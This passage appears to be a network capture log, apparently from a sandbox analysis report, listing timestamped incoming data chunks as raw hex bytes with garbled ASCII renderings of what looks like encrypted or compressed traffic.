ed 75 64 10 86 85 7f 03 Data Ascii: ]kzSJf2Zt]m(POf%EuD['':2aVN->H]BQ{2,!^n?wahx#i Qt\l\T]Cg(FZ/v]F~;'ntv+5YHuUH":Z4"&,@\rd{1`YE[W*g-6XPud
2023-05-31 10:22:21 UTC	2576	IN	Data Raw: 05 b9 70 68 57 3e 88 45 da 34 75 9a fb bb 93 f6 6e 2e 53 ea da 06 67 a4 34 6d a5 9d 89 0b a4 a6 0a 31 5c e2 16 ec b9 73 25 20 e7 fa c8 60 ac 68 19 68 21 41 63 3c 19 73 3d 16 d1 34 c6 9c 3f 9d 4f 98 6e 70 6d 69 ee 78 f7 25 53 ce 98 db f2 e3 12 74 f6 40 46 1b 32 1b 94 a7 98 9a 49 67 6c 6c 6e 30 28 e7 44 ec fe 8f 3c 4e ad dd 5a bd 02 4b df 78 79 b3 0f f0 91 60 f7 a4 1e de b2 7e 17 fe 57 9e 44 0d 46 ce 0b 49 28 6a cf 49 e6 0b 38 9e 74 24 91 5f 26 88 c0 27 13 84 2f 2c 2a 87 77 b6 66 7a 24 9e 07 68 ce 27 ac a9 2e e7 c4 ad 8d 1d d8 f6 98 72 a5 8b 8d 6f 06 e5 89 97 61 72 78 58 40 12 9a 0b 35 76 9a 5c 34 91 c0 ed 23 0a 15 28 da 94 e9 c0 a7 3c 02 62 f4 b0 a7 c5 06 45 2e d9 9c 75 19 af ad c5 c2 2e e5 f6 43 90 45 c6 6c 7d 94 a6 19 d6 e2 60 70 1c c9 df 68 4e c0 c9 bb Data Ascii: phW>E4un.Sg4m1\s% `hh!Ac<s=4?Onpmix%St@F2Iglln0(D<NZKxy`~WDFI(jI8t$_&'/,*wfz$h'.roarxX@5v\4#(<bE.u.CEl}`phN
2023-05-31 10:22:21 UTC	2592	IN	Data Raw: 38 0d af 8c 2d 0b 0f 83 ab ea 67 7f c5 52 dc 21 2a 99 bc 99 c7 02 2b 28 20 da 83 4b 88 d1 ad 78 be 16 37 99 ad a4 61 6c e1 6e 3c 77 8c 9b eb d0 47 ac a2 9d 6a b2 7b 14 4f 05 16 7c e7 6a 05 34 32 b0 5e 50 58 a3 a0 40 dc eb 71 cd a9 58 24 de 1e 65 b7 e9 8b 8f 67 d7 99 fc f2 54 b2 7a 2d 99 2b 5e bd 4a 56 ae 25 64 71 3b 6d 45 b8 3d d2 d2 d1 cc ae 97 4b 98 0c 9d 17 16 cc 2b e2 89 48 73 5b 7c 35 fb 95 04 3f 2a fc 16 b5 32 19 e4 af 9d 51 e3 df 76 3b a3 21 7f dd 4c 26 fe c5 ad 56 fc 5b 8f d5 cb c2 6f b5 b1 78 3b 93 4d 64 d1 58 5b 38 5e d7 c8 e4 90 ec db db 5b db 19 1d 51 c1 97 cf 73 f1 1b d4 25 1a 6e 89 33 79 78 c1 6f e6 e8 49 e2 48 5d b4 39 dc c4 18 48 e9 16 a6 80 68 c0 97 42 f6 0b ac c7 d8 2f 76 98 e5 51 c5 cd 94 b0 02 37 53 4a 04 90 ad 91 95 c0 37 13 29 0d df Data Ascii: 8-gR!+( Kx7aln<wGj{O\|j42^PX@qX$egTz-+^JV%dq;mE=K+Hs[\|5?2Qv;!L&V[ox;MdX[8^[Qs%n3yxoIH]9HhB/vQ7SJ7)
2023-05-31 10:22:21 UTC	2608	IN	Data Raw: ff 26 27 65 db f8 ae b5 d7 b3 bf ed 13 d9 c7 e4 9f b2 04 6c c4 18 77 b2 8d 29 20 d7 27 d9 7f c0 3f 0d fe 03 19 c0 73 d5 a9 81 af e3 2c e6 39 91 45 3a ba d9 7f ce e1 54 cc e2 ab 9a 96 32 0f 8a da 69 da 79 ac 6a f0 cf 9c 60 9c c0 9f 57 d7 66 be 04 f3 3a 7a f9 d4 9b f3 fb 67 f6 1a 57 67 c6 9d d1 a1 9f b1 51 72 b2 46 82 af c6 37 ee d3 6b f5 f1 73 70 7e 34 1b ee 64 ad 96 e2 e7 47 b3 f8 16 34 76 8a 9f 1f cd 46 98 58 93 4c 79 e7 47 b3 09 a4 74 ca 3b 3f 9a cd a0 55 a5 bc f3 a3 d9 02 5b 4e 2a 3c 3f 9a ad 7c ca 4e 2a 38 3f 9a 6d b0 4d 53 d1 f9 d1 9c 08 d9 35 1a 15 fc fc 68 b6 b7 c3 d4 12 a8 c8 43 b0 2e a6 91 41 e7 47 f3 ac 17 58 2c 91 dc 0c 73 50 bc d3 a1 95 fe 23 0f bd cd 3e b3 e4 15 f6 f9 29 fb 57 f9 3e 54 de a8 62 e7 88 41 76 4e b2 b2 ef c0 8e 25 d2 ec 1c e1 c5 Data Ascii: &'elw) '?s,9E:T2iyj`Wf:zgWgQrF7ksp~4dG4vFXLyGt;?U[N<?\|N8?mMS5hC.AGX,sP#>)W>TbAvN%
2023-05-31 10:22:21 UTC	2624	IN	Data Raw: 81 f3 c9 6b cd 65 e4 a5 96 5e 07 b3 22 a0 2e de 71 0b 91 72 3e a0 2e 7e 76 9a 02 ec 3d 40 5d fc 1c 28 13 cb 21 40 5d 7c de e9 16 45 8d 41 95 77 59 00 63 cf 60 40 5d 7c 01 54 98 51 00 75 f1 73 f7 18 62 9c 02 ea e2 0b 59 58 02 d4 c5 cf 63 61 1f 50 17 5f b4 87 4e df 66 f2 e7 d7 ee e9 5c 79 4e 67 97 47 cd a2 2b ae ba ac 1b 53 8f 11 29 d9 b9 b5 7f 90 ae b0 84 13 da b0 be 92 ba 34 69 e0 f0 7c ca 00 b7 be 4a e3 b1 c4 12 32 31 ac 7f 4b 35 d8 70 ae 06 a6 0e 0f bd 6d 7d 2d f5 54 0a ae fd a4 17 7d 83 c3 5d bd f0 93 ed 26 78 f0 c2 ba 89 56 50 c3 cb e0 75 15 d6 d7 53 73 ab 29 85 3f 96 87 2f 1f 2b 3a 57 ae 30 f6 47 ac 68 72 19 29 94 84 7b 35 83 5b 37 79 5d 89 25 59 17 e7 0d 4f 37 ac 38 dd 88 91 8d 19 86 65 d1 8d 04 d9 68 37 2c 9b 6e 54 91 8d 99 86 95 48 b2 d6 e7 0d cf Data Ascii: ke^".qr>.~v=@](!@]\|EAwYc`@]\|TQusbYXcaP_Nf\yNgG+S)4i\|J21K5pm}-T}]&xVPuSs)?/+:W0Ghr){5[7y]%YO78eh7,nTH
2023-05-31 10:22:21 UTC	2633	IN	Data Raw: 4c 69 86 45 4f ad f4 f6 4a ce 52 11 fd c4 6a f9 c8 e5 ec 2b a2 fb d7 08 5b d2 5a a1 80 6e d9 5e c7 a2 ff ae 60 e0 99 39 c4 9d 77 f4 ae b5 c2 66 0f 6f 80 2b 90 28 b7 ce 27 b4 57 d9 e8 73 02 e4 56 e0 f3 eb 85 42 06 86 e9 8a 2d 7a 64 a3 72 42 04 73 65 86 f7 b2 e8 d3 02 90 81 a5 0e bb 3c 7a a4 dd 57 24 de 59 b2 68 e7 66 4d 5d ec 44 ef 0b 18 c6 26 c0 bd 70 85 45 ff e6 3c b9 e4 3d 03 43 fd d0 55 c3 dd 2c fa c2 16 7f a5 f0 b5 08 8b e6 cf 17 da 50 2c 7a 85 34 6c 15 b7 e4 d3 b9 8a 95 c1 00 bd d1 a7 3c 39 3f 51 8b 60 65 9b 2e 51 07 8b 7e 6b 7b 60 2a 40 b7 5f e0 25 a3 cf 47 db bd f8 1f 8a 9c 27 b2 b7 5a d1 d4 4e a1 4f 60 65 87 6a db df 52 88 fe 82 43 f4 d3 8b 91 4c 0d 1c 53 79 06 77 f9 e5 29 da 62 b3 e8 67 3b 3e f6 14 d2 30 fc 34 3a 23 a2 ce 41 d8 86 a6 ad 71 58 8c Data Ascii: LiEOJRj+[Zn^`9wfo+('WsVB-zdrBse<zW$YhfM]D&pE<=CU,P,z4l<9?Q`e.Q~k{`*@_%G'ZNO`ejRCLSyw)bg;>04:#AqX
2023-05-31 10:22:21 UTC	2649	IN	Data Raw: f8 d3 be de 18 29 00 9c 9d 37 16 85 23 9c 9d 37 0e 8c 81 c0 d9 79 e3 95 48 b8 be bc 09 60 54 20 ce ce 9b f8 14 14 00 41 c2 9b a4 28 12 67 e7 4d 46 12 c6 d9 79 53 28 31 60 32 78 53 91 16 e3 ec bc 69 28 1e 7d 45 ce 9b 8e c2 10 67 e7 cd 40 73 86 70 76 de 71 9a c6 79 4b de cc 20 7c 26 c2 d9 79 c7 03 b3 8e b3 f3 66 01 19 5f 24 bc d9 78 d9 90 17 04 af 17 98 00 ce ce 9b 83 0b 07 27 7a ef 04 10 d5 70 76 de 5c 58 86 ba 0c 78 f3 e0 22 07 38 3b 6f 3e ec 06 c0 d9 79 1f c0 02 e2 6d 79 27 ea a5 42 9c 9d 77 12 96 30 ce ce 5b a0 a9 01 ce ce 3b 19 0b 11 ce ce fb a0 52 20 c2 d9 79 1f c2 42 80 b3 f3 4e c1 51 84 b3 f3 16 2a 45 42 9c 9d b7 08 c7 25 ce ce 3b 15 2b 31 ce ce fb b0 22 10 38 3b 6f 31 e1 51 70 76 de 69 ea 40 2a 38 3b ef 74 75 c0 54 9c 9d 77 06 31 10 d8 b1 84 1e 43 Data Ascii: )7#7yH`T A(gMFyS(1`2xSi(}Eg@spvqyK \|&yf_$x'zpv\Xx"8;o>ymy'Bw0[;R yBNQEB%;+1"8;o1Qpvi@8;tuTw1C
2023-05-31 10:22:21 UTC	2665	IN	Data Raw: 1b 27 e2 2d 6c 14 2b 94 1b 5c a1 3c b5 12 31 6f d5 f3 83 4b 72 fc 2d 7a 72 f0 89 bf a0 76 76 32 f1 09 ff 42 34 fa 37 b3 da 9f 4d ae 31 f3 93 fc 25 58 8b 6b d7 72 9a f7 3d ed 48 6f 87 86 2c ab b9 88 bc d3 ec 28 2f 6e 66 b9 bd a5 55 ab 1e 31 57 38 ea ad 70 ae 7f 85 f3 fc 2b 1c f3 af 70 be b7 c2 05 e6 0a 17 7a 2b 5c e4 ad 70 b1 b7 86 25 6a 0d 4b fd 2b 1e f7 af 78 19 56 b8 3c b8 c2 15 6a 85 2b 11 5e ae 2a b8 cc c7 51 b9 83 1b 60 82 b7 01 ea 82 1b 60 a2 b7 01 ea cd 0d d0 10 b6 01 1a 83 1b a0 c9 dc 00 93 b0 01 9a fd 8a 74 8b 9f 35 4e 36 d5 41 1f 63 6b cd 8c 0d 05 a7 18 20 98 8d a1 e8 71 a7 4f 51 8a 5e 9b d2 eb a6 79 4c 69 7a a7 de 28 ed 19 1e d6 61 d6 65 f5 5a 95 9d 99 e1 be b3 3c 6d 6f b6 a9 20 a2 72 a7 c7 f7 e6 18 0c fa 54 53 d7 9e 9b d1 c1 e7 69 c6 4f 63 53 Data Ascii: '-l+\<1oKr-zrvv2B47M1%Xkr=Ho,(/nfU1W8p+pz+\p%jK+xV<j+^*Q``t5N6Ack qOQ^yLiz(aeZ<mo rTSiOcS
2023-05-31 10:22:21 UTC	2681	IN	Data Raw: b8 0f ed e2 3e b4 8b fb d0 2e ee 43 bb b8 0f 79 eb a0 74 df f1 01 ed 1f 07 dc 46 9e 69 67 61 34 da b8 37 aa fa 49 9c 95 a3 1c 82 0d aa db 26 9e e9 35 f1 4c af 89 67 7a 4d 3c 93 0a f4 ad 1e 98 48 fc a0 67 4e 3f b8 0d 3f d3 16 12 41 af e1 67 7a 0d 3f d3 6b f8 99 5e c3 cf f4 1a be 3b 46 bd e8 76 7e 69 5e 66 d3 bc ce 2f cd eb fc d2 bc 1e cf 5d 67 ed 6a ce b5 d1 09 da 65 3e 04 a9 85 55 d0 97 c8 bc 4b dd 19 76 3d 08 41 3b 34 20 a8 aa a7 be e8 46 af 47 82 7d f5 15 9c be 26 7d d5 a0 ed bd 90 6a 83 0d 90 f9 7c 80 cc cf b1 ab d3 ba 7b a8 ec 8e 6b f9 7c c9 35 df bd a7 50 6d b0 51 2c 5f 8d 62 66 b0 ca e7 83 55 3e 5f 9f ca e7 eb 53 f9 7c 2c ca e7 8b 55 f9 7c 2c ca 77 ef d5 13 1d 54 72 8c be 37 01 b0 1f bf 3d ac 5f 80 6b a4 aa 19 57 2a 89 cc 18 7d a1 f3 16 a7 49 20 d3 Data Ascii: >.CytFiga47I&5LgzM<HgN??Agz?k^;Fv~i^f/]gje>UKv=A;4 FG}&}j\|{k\|5PmQ,_bfU>_S\|,U\|,wTr7=_kW*}I
2023-05-31 10:22:21 UTC	2697	IN	Data Raw: c5 09 90 fe ef 73 9d b0 db 60 79 41 ea 83 ec 12 a4 2b c8 55 1f 08 3f 04 d9 2a c8 64 90 7d 82 dc 0f f2 81 20 4f 83 34 3b c4 4b f1 1a c8 09 91 c3 f7 41 92 3f e4 b1 3e 03 99 22 c8 09 4a 59 90 bf 40 66 1f 16 b5 33 0b fd 8b 20 6d 40 6e 3c c2 c9 35 20 5f 09 32 1c 64 ca c7 9c 4c 07 39 2c c8 3d 20 b1 9f 70 b2 16 e4 26 41 5e 06 99 25 c8 61 90 8d 82 9c 06 79 5e 90 aa b3 51 7e 41 1a 81 38 a3 b9 7d 3a cc a6 ab c0 5c e7 6a 90 89 c7 38 e9 0b b2 50 90 51 20 6b 04 b9 15 24 4e a4 bc 18 a4 f3 67 a2 3f 04 49 fd 9c 93 e7 40 c6 0a 72 00 24 57 90 1f 40 16 0b 12 95 83 11 42 90 a6 20 1b 04 49 06 d9 21 c8 50 90 37 04 99 0f f2 a9 20 ab 41 1a 8b 52 6c 06 a9 55 c8 75 de 06 e9 2c 74 8e 82 a4 0b 9d df 40 06 08 9d 88 5c a4 fe 05 d7 49 00 d9 20 c8 d5 20 5b 05 19 0b f2 b2 20 77 82 ec 13 Data Ascii: s`yA+U?*d} O4;KA?>"JY@f3 m@n<5 _2dL9,= p&A^%ay^Q~A8}:\j8PQ k$Ng?I@r$W@B I!P7 ARlUu,t@\I [ w
2023-05-31 10:22:21 UTC	2713	IN	Data Raw: 9f 9a ad 25 20 c9 06 e7 15 a4 42 30 ef d3 54 b9 33 06 5f 0f 08 f3 fb f4 32 f3 e9 1a 0c 59 78 88 1d 54 77 31 2c d7 ee 00 ee 47 42 6a 09 81 7d 0c 15 ed 08 6e 99 53 7c 08 09 e1 94 d0 65 5f 84 54 74 af 16 a9 1c 45 7d c2 64 b8 2b c8 85 04 3f f0 72 c0 fc 63 48 04 38 f2 0d 5e 2c 40 e8 04 7c 39 12 e2 74 86 13 36 89 91 49 20 e6 1f ca c4 1d ba 4d b7 ef b3 34 ee 2a 82 83 60 16 19 24 88 b0 8f c8 1d ff eb 62 38 01 8e bc 7a d0 b7 48 ce 87 5e b9 7a fd 5c 1b 61 20 81 90 58 12 f4 d1 6c e0 1c 9c 63 4d 16 4d 8c 81 b1 dc 98 92 75 f5 08 05 d7 25 09 25 ba ee df 8e 9b 3c ca a6 be 47 14 75 0b 4c ce dc 8c 79 14 74 fc 8e ac 0b 79 33 30 d7 7f 67 80 af ed d1 78 93 bd cb 9f 81 1a 7a 2b 7e b3 c8 ab a4 96 d0 15 d4 b0 ce 25 1c 23 18 ab 9c b2 2a 34 3c bb 90 1a da 3b 8d 59 0a eb 25 66 91 Data Ascii: % B0T3_2YxTw1,GBj}nS\|e_TtE}d+?rcH8^,@\|9t6I M4`$b8zH^z\a XlcMMu%%<GuLyty30gxz+~%#4<;Y%f
2023-05-31 10:22:21 UTC	2728	IN	Data Raw: 13 06 76 3c 9b d3 63 b5 c9 90 bc 69 59 52 bb fd a4 0f 54 c7 9d 59 f2 02 39 f9 26 4b ee 36 14 99 6c 8b 7f 08 7e 0b 2c 02 46 05 7e a6 83 b0 34 19 10 77 d8 41 e0 4e db 26 b6 ba 17 1a 35 24 a5 75 4f ed 6e 9d ac 3c c4 0f 2d fc 27 00 47 f9 e2 6b 18 25 f2 a9 b6 79 02 00 01 05 9f ec b2 90 a0 ac 89 2c 61 4d e4 fd 89 e9 35 91 aa ff 63 ab 87 d3 2a 18 10 a8 64 4e 21 19 94 9c 1f de 8d f7 8f 61 1d 19 b2 11 ae 5e 9a f6 98 dc 6e 7f 7c ad 83 7a 80 4a 69 37 82 59 2d 77 a9 37 19 13 26 2f 78 87 9f e0 9e 5b 1a 51 0d 52 ba 97 46 6b 08 55 ec 89 e8 28 fa 1e 9f de 38 81 c7 2a 8f 1b d4 9d da 1a f7 17 6c 8d ae 2b 9a e7 10 c9 20 3b c4 a6 2e 16 cd e6 ac 37 d7 09 d6 06 56 de 47 27 e2 7e 04 ca 2f ca 45 dd 96 a4 e1 a9 19 44 86 20 a4 de 75 99 c7 2f 94 d4 e2 db 56 d8 2d 0e 25 b7 38 94 dc Data Ascii: v<ciYRTY9&K6l~,F~4wAN&5$uOn<-'Gk%y,aM5cdN!a^n\|zJi7Y-w7&/x[QRFkU(8l+ ;.7VG'~/ED u/V-%8
2023-05-31 10:22:21 UTC	2729	IN	Data Raw: 66 a0 1f c2 1c 4b fa cd de ec 3e 82 fc 86 38 8e 32 64 43 bb 6a 7e ee b0 71 6c 85 c0 47 1b 95 0b 6c 6d 8c aa d6 46 0b 66 16 45 6b 63 1f 6b 68 59 46 df 0c 5f 3f 5a 1b 4f 98 1f 47 ce 42 16 cb 76 3f cb d4 37 83 4d 7d 93 51 0d 08 0f af 94 75 21 a4 ee 6c 87 12 99 83 f0 b7 af 20 c4 19 68 1c 4f 97 62 04 22 be 39 ed 4b b7 32 d9 26 0a 4f 3a bb 86 b3 d8 1e ba ed bc 65 ef 88 b6 f6 6e 3c 87 1a 78 39 a4 f5 da 3c 8d 4e 60 ef 72 7b 76 05 b9 2a 04 1c de c5 2c d6 9e c5 e5 7c aa b6 4a b3 db 95 7d c6 e3 e7 a9 fb 0c ff 6f 87 70 81 9d 1f c9 22 61 3c 74 c9 e0 bd 6c 0b 92 79 5b 4e bd a6 b0 cb 6e e5 a9 b8 dc 5b f0 f7 96 3c 85 1b 8f 81 8f fe d1 95 e4 c2 d6 52 40 db 92 f6 ff c8 cb fe 77 19 68 ff bd ff c5 08 2d 66 d7 48 86 64 06 12 fc 38 1a b0 12 35 38 19 4a 1e b7 70 90 fd a2 17 91 Data Ascii: fK>82dCj~qlGlmFfEkckhYF_?ZOGBv?7M}Qu!l hOb"9K2&O:en<x9<N`r{v*,\|J}op"a<tly[Nn[<R@wh-fHd858Jp
2023-05-31 10:22:21 UTC	2745	IN	Data Raw: 03 99 39 4f a4 d3 71 d9 58 dc 49 d6 49 2d 34 20 4e 70 56 e2 04 f3 25 6d 7e ef e0 3d fd 3e 8f b9 9e 56 ac b4 b8 ba 9f 77 5a cf ad 97 be 9f 6c 19 ed 7e db eb 5c 3f bc d4 48 de 49 73 f6 d2 4e aa e6 9d f4 41 0f 3b e9 e0 65 28 c3 93 d3 26 6f f6 72 e0 b9 69 d6 8d 34 1b fa 88 d3 2e 75 ec a1 3e 50 4d bb 0e fb 88 6f 82 49 b1 f9 bb 23 6d 8b 6c 19 6c f9 1f 9d cf 74 6a 50 1a df 8a 31 35 f8 2c 5d 8e 4d 8f 72 c1 e2 fa 31 85 fd 21 37 8a 38 c6 f7 50 6c f3 1f 9f 32 89 5b c4 ab cc d9 36 72 56 af cf 15 29 48 36 eb f4 69 b3 54 55 fc 9d 67 c4 8b 3b 1b 15 08 fb 8e 00 55 de ee 44 2e b2 b2 a0 46 30 3e 66 83 fb 2d c3 bd 2b 04 c5 15 a7 04 e0 bb 65 fe 2a 67 40 fc d1 6a 89 1b cf 47 dc 51 43 27 62 06 a5 ab fa b6 cd 5a 6c 5a 32 15 71 55 ca 96 eb 73 63 26 2e aa 42 9c 67 83 70 e8 f8 87 Data Ascii: 9OqXII-4 NpV%m~=>VwZl~\?HIsNA;e(&ori4.u>PMoI#mlltjP15,]Mr1!78Pl2[6rV)H6iTUg;UD.F0>f-+e*g@jGQC'bZlZ2qUsc&.Bgp
2023-05-31 10:22:21 UTC	2761	IN	Data Raw: a5 81 73 f3 1a 36 a1 f1 2d ea 5d 3a 0a fb dd 5b a5 8e b8 c9 31 7c c7 ad 20 17 49 0c af 4e 03 b9 77 b5 a1 70 57 fe 95 19 62 00 44 b7 73 b0 1b 41 a1 c8 02 af 69 9d 61 c8 a4 09 df 1c 38 89 49 d5 70 4e 1d 61 51 23 df 60 3d ea 92 97 79 74 f3 a3 e7 fa 83 14 f0 a4 f7 20 1e fd 97 1c a2 c7 c0 be b7 b7 ad 96 6b b0 27 28 c4 4b 2d 4a b2 63 3d c9 91 d1 22 4a ad a5 54 31 a5 68 35 8d ce a3 14 2d 02 d1 f9 94 a2 d1 1e 2d a1 14 ba 59 ef aa 9f 8b 67 77 7d 11 9e 3d f5 c5 78 f6 d6 cf c3 b3 bf 7e 3e 9e 03 f5 f4 51 94 a4 d1 7a 92 4c a3 b4 ee d7 87 28 45 cb 7e fd 16 4a d1 aa 5f 5f 4d a9 95 94 22 32 b5 8d a4 64 c6 cf 05 ee 90 5f a5 ff 3a e8 72 77 ab 72 17 34 cc 34 2e 7b c9 66 b0 ac 4c 04 dc a6 a3 c5 15 6a 48 e6 59 87 e4 00 0f 49 9f ed ae 70 e5 fb 00 40 e4 0c 22 84 08 45 76 84 2a Data Ascii: s6-]:[1\| INwpWbDsAia8IpNaQ#`=yt k'(K-Jc="JT1h5--Ygw}=x~>QzL(E~J__M"2d_:rwr44.{fLjHYIp@"Ev*
2023-05-31 10:22:21 UTC	2777	IN	Data Raw: 0e 0c 2a 5a 83 99 55 28 14 7a 25 63 9b 10 38 68 06 35 37 5d 89 79 4b e9 21 fa 5e 75 22 b6 a8 5f 74 5b c8 4d bb 79 fc 1d 3c b4 c3 53 c2 29 6b 56 25 20 45 a2 6f 80 9c 75 12 cd 18 53 ea 63 45 b0 62 de af 79 2b f4 ae 27 f1 48 f4 a0 b5 63 ba 92 5c 3e 9a b5 42 42 67 c6 ba 13 45 d9 49 70 a6 b8 5f 7c 05 4c f9 4e 1a ca 5a 03 55 69 d8 83 18 df ce e0 5e 34 08 e8 4a 45 47 e6 51 b9 64 d8 aa b2 4f 10 89 ac 45 3f 48 24 d2 49 3f 5d 53 96 31 81 40 89 05 f1 a7 e7 55 fc 49 9c c6 9f 5d 54 e4 43 cf 72 b8 eb c8 5d 01 3f fb 14 fc d9 bf 83 fd 84 d1 d3 22 36 fd 56 34 8a 18 c1 8a c5 be b8 05 72 34 63 5a da a5 73 32 84 72 1e 3c c8 88 89 3c ff ae b9 ea 2a bb ea 73 a8 0b 5d c1 03 de 09 81 b8 95 fd 14 85 ce 84 57 58 43 27 c3 4b 99 ec 38 a4 c9 e5 dc 64 69 6c f5 e6 e1 4b df 91 b8 35 c2 Data Ascii: ZU(z%c8h57]yK!^u"_t[My<S)kV% EouScEby+'Hc\>BBgEIp_\|LNZUi^4JEGQdOE?H$I?]S1@UI]TCr]?"6V4r4cZs2r<<s]WXC'K8dilK5
2023-05-31 10:22:21 UTC	2791	IN	Data Raw: 0d 4d 0d ed 65 ad cd ed d3 66 95 35 b6 37 b5 b1 f9 48 e3 1b 1a d9 dc 00 57 a3 27 ea 2e 2f 03 4b 69 27 cf ab a6 b4 90 0d b3 5b 8c c9 07 76 b6 94 4f b1 fc 0b b6 85 52 e4 80 71 e3 1e 5c dc 9c c8 61 b7 52 f6 b6 85 d9 c4 56 37 63 ac 40 62 b7 88 55 51 6c 14 35 1f d9 62 b7 9d 2b 73 e6 7e 67 5c 2a f1 6c 11 94 82 2e b9 20 f3 ac 80 3a d9 6d 2d c2 63 b1 9e 07 95 e7 cd 39 59 b1 f0 4e 99 b9 74 ce 65 6f 5c 84 58 07 e7 47 ad f4 93 52 f9 7e e6 fa 40 8e 25 76 ac 95 6b 6c ee b3 c4 f3 15 6d 9c 61 7d 85 9b 1f b5 d6 cc 10 0b cd 78 9b 44 46 36 2d f2 d9 1d 7b 51 68 81 14 96 05 03 b5 b8 83 cf 65 8b e9 9e 52 ae a4 39 d3 9e 59 85 38 88 c5 e9 be 9a 8b b0 9c 37 c9 c2 e7 e0 7a 9d d7 36 e3 b1 cc fc 48 8b 66 75 96 19 b2 a5 01 d3 04 c9 24 f2 79 aa 2e 84 b6 62 dc d3 c6 fb 91 5e 06 cd b9 Data Ascii: Mef57HW'./Ki'[vORq\aRV7c@bUQl5b+s~g\*l. :m-c9YNteo\XGR~@%vklma}xDF6-{QheR9Y87z6Hfu$y.b^
2023-05-31 10:22:21 UTC	2807	IN	Data Raw: 67 b8 06 37 72 11 8f 8a 34 f4 15 e7 e7 60 ac 67 45 3c ec b7 cc bb 18 0d ae 92 02 2c 96 34 3c 50 88 a7 25 0d 56 91 cb 07 6b 04 1f e8 2c 5d 7c 73 3b 49 0d f7 4b d9 b0 84 80 f5 27 df 0e dd 3e d2 a0 16 39 86 88 e5 c2 77 13 74 bb 88 d1 3d 9c 20 0d 0b 27 48 08 99 25 4b c3 b5 15 12 4e 2b a2 a2 21 fd fb bc 74 c1 39 6b 98 57 95 53 72 ea 84 35 5c 53 25 ad 6e fa 5d 90 86 ea 49 39 51 50 80 8b b6 31 3f 13 97 f7 83 63 30 d1 35 7c 9b 2b 40 d7 9b 1d 09 9c 07 1b 8e ac 1e 87 0d bd f0 10 c7 47 8d c6 06 ec 18 84 39 ac 41 af 92 6a 0a 47 75 8a a8 82 25 21 0d 9d 35 b9 54 8c c3 15 7f c7 38 5c d4 9d 39 93 73 f9 82 9a e3 56 1a f4 f5 38 12 60 8c 6b 0b 73 31 fd e5 75 85 f9 74 bb ad a1 7e ca f8 12 14 97 80 6e 78 36 dc 9b 47 34 8c ce 16 4c cf 0d ce a9 b9 4c ce ad 08 af 4f e0 3a a6 a1 Data Ascii: g7r4`gE<,4<P%Vk,]\|s;IK'>9wt= 'H%KN+!t9kWSr5\S%n]I9QP1?c05\|+@G9AjGu%!5T8\9sV8`ks1ut~nx6G4LLO:
2023-05-31 10:22:21 UTC	2809	IN	Data Raw: 97 38 b5 50 62 ba 1e 15 57 a2 ab 0a 4a 0c a8 b8 02 ed 2d 24 b1 f0 2c 3e 17 31 97 15 b8 44 9f a7 bf 2f cc a1 2d d6 b0 04 bb 6e 3b a4 e5 a4 9a 85 79 1a a8 12 5c 88 4a 00 8a 65 a0 3a 70 21 ea 80 ec 3c 85 81 aa c0 85 f7 d3 50 89 ee 21 88 88 ca 18 87 68 8b 98 2e d4 b6 45 cc 32 f9 79 25 4a a2 7d 15 78 9b a0 80 c4 18 85 1c a3 f8 35 10 69 39 03 15 18 b3 64 de 3f 9a 3b f8 94 30 3e cc c9 44 b3 f1 61 36 26 9a 87 0f f3 30 bf 02 52 96 30 86 23 f8 69 98 75 35 a2 c8 25 60 a8 75 d3 60 2a 0e 8b 0f 08 f5 50 7c 59 1b 27 79 12 b2 40 e9 87 86 e3 f8 ac 81 8e 2a 0f 15 a8 da 9c 52 d1 6a 36 80 a9 5d 58 09 c1 0b 24 23 06 81 6d 23 de 56 62 0f 8c ba 29 94 f0 68 24 be 8a 28 9f 2e 31 82 bc bc 58 81 d1 1c 51 b4 92 7d ab 47 fa d6 23 7e a0 ec b7 c5 88 b7 28 1f 05 96 93 c7 04 e4 69 8b 87 Data Ascii: 8PbWJ-$,>1D/-n;y\Je:p!<P!h.E2y%J}x5i9d?;0>Da6&0R0#iu5%`u`P\|Y'y@Rj6]X$#m#Vb)h$(.1XQ}G#~(i
2023-05-31 10:22:21 UTC	2825	IN	Data Raw: 16 5e 43 92 9a d8 b6 70 c5 31 e1 1d 68 25 b1 6d f1 6b 68 e4 82 c4 b6 c5 35 b6 6a 9d 63 15 a7 c4 54 73 30 07 c5 83 48 54 12 db 16 8f 8f 8b 45 c3 eb a8 e2 6e 49 e1 97 c5 c5 52 42 90 fc 43 bf f8 96 6f 36 24 b6 2d be e5 c0 6f 19 63 62 db e2 db be ee 57 eb 67 a1 2d 4e 70 85 d6 68 62 db e2 67 45 a3 98 d8 b6 f8 60 52 54 a5 c4 b6 c5 ed 29 9d 2e 24 b6 2d 56 d2 3a 1f f6 a3 b7 78 48 2b 06 45 5f cd e8 54 36 76 3b d1 2d e1 30 b1 6d f1 cb e8 6e 30 4a 6c 5b 7c 43 6b 27 53 3e 15 dd ec 45 89 6d 8b 4f 49 76 3f b1 6d 71 75 a3 ce df 3f fc 8b 6f 23 15 27 b6 2d 6e 6f e2 4b 54 4e 6c 5b 5a c6 b4 aa 89 6d 5b 5e 65 3f 71 ab 26 b6 6d 79 8d 2f 00 29 b1 6d cb 71 68 39 ca 89 6d 5b d6 d4 e9 44 c8 1a db b2 d7 35 48 a4 d8 bd 68 99 84 89 6d 5b ee 4a 89 83 11 fc de 6d b9 0c 4d 7a 98 d8 b6 Data Ascii: ^Cp1h%mkh5jcTs0HTEnIRBCo6$-ocbWg-NphbgE`RT).$-V:xH+E_T6v;-0mn0Jl[\|Ck'S>EmOIv?mqu?o#'-noKTNl[Zm[^e?q&my/)mqh9m[D5Hhm[JmMz
2023-05-31 10:22:21 UTC	2841	IN	Data Raw: fb fb 00 ff 92 a6 48 de cd 23 a7 f4 0f 5c 08 99 dd 06 97 0c af 1d bc c8 72 ef a6 72 8c c8 43 80 b9 db 18 60 52 dd 7b da 27 b4 c3 d3 38 84 23 1f a5 d4 58 f7 de f6 ad d0 87 74 37 3c af 61 77 fe dd fb da 2f 25 d5 34 a6 69 a8 c3 30 7b 9d 9a 0a fb a8 d0 9c 66 ef e5 ba f7 d3 cd 16 7d 6f 20 1e c4 72 1f a0 3d aa a4 7b b7 f4 8f 0c b2 57 6f 1f a4 a6 76 c3 7e 5b 2d ee 93 b4 b3 69 9a 73 8b f2 a0 dc a7 da a7 b6 c3 6e 43 bf fd ae 3c dd 0e 2f f0 25 d2 2b 21 9c 60 94 77 f1 20 b5 27 d3 2b 76 40 de 07 f6 a8 9b 5c f5 b7 4f 73 e1 19 23 54 d0 3b b8 a9 7f cb 86 cd 23 64 38 7f 44 cd 8d a4 77 43 41 f9 1f b7 37 b8 f0 2a af 9b 80 61 